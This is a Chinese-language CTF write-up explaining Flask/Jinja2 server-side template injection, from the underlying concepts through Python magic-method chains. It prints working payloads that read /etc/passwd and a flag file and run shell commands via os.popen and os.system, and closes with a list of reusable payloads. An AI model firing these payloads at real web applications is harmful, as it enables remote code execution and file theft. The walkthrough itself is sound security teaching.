打开链接,提示是Python的模块注入
我们先了解一些基本概念:
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易,但是模板引擎也拓宽了我们的攻击面,注入到模板中的代码可能会引发RCE或者XSS。
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
flask是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。flask的渲染方法有render_template和render_template_string两种,render_template()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI。
在使用flask/jinja2 的模板渲染函数 render_template_string 的同时,使用%s 来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析。
模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。
首先我们检测一下是否存在模板注入
{{10+20}}
可以看到确实被执行了
还是先介绍一些知识
几种常用于ssti的魔术方法:
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析
__base__ 返回该对象所继承的基类
(__base__和__mro__都是用来寻找基类的)
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtins__ builtins就是引用
Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。
在python 里 [] 表示空列表,()表示空元组,{}表示空字典 对字典、列表、元祖的
取值均使用变量名 x[index or key] 的形式。
获取基类的几种方法:
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]
[].__class__.__bases__[0]
获取基本类的子类
[].__class__.__base__.__subclasses__()
我们可以利用的方法有<type 'file'>等(甚至file一般是第40号)
().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
首先我们查找Object类 {{''.__class__.__mro__[?]}}
发现 {{''.__class__.__mro__[2]}} 是Object类
寻找可用引用 {{''.__class__.__mro__[2].__subclasses__()}}
可以看到有一个type file类型(可以进行文件读取)
尝试利用file类读取文件
[40]是tupe file类型出现位置,前面共有40个逗号,是第四十一个,索引值为 40 , 索引从0开始
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
能够正常回显,说明file类执行正常。
试着读取 /flag 类似的文件,服务器返回500,因为不知道具体文件名
但这里还有一个 <class ‘site._Printer’>类型(可以进行命令执行)
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
[71]为<class ‘site._Printer’>出现位置
知道文件名后我们读取flag
(采用os模块的listdir函数来读取目录,可以配合file来实现任意文件读取)
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
三个常用payload:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()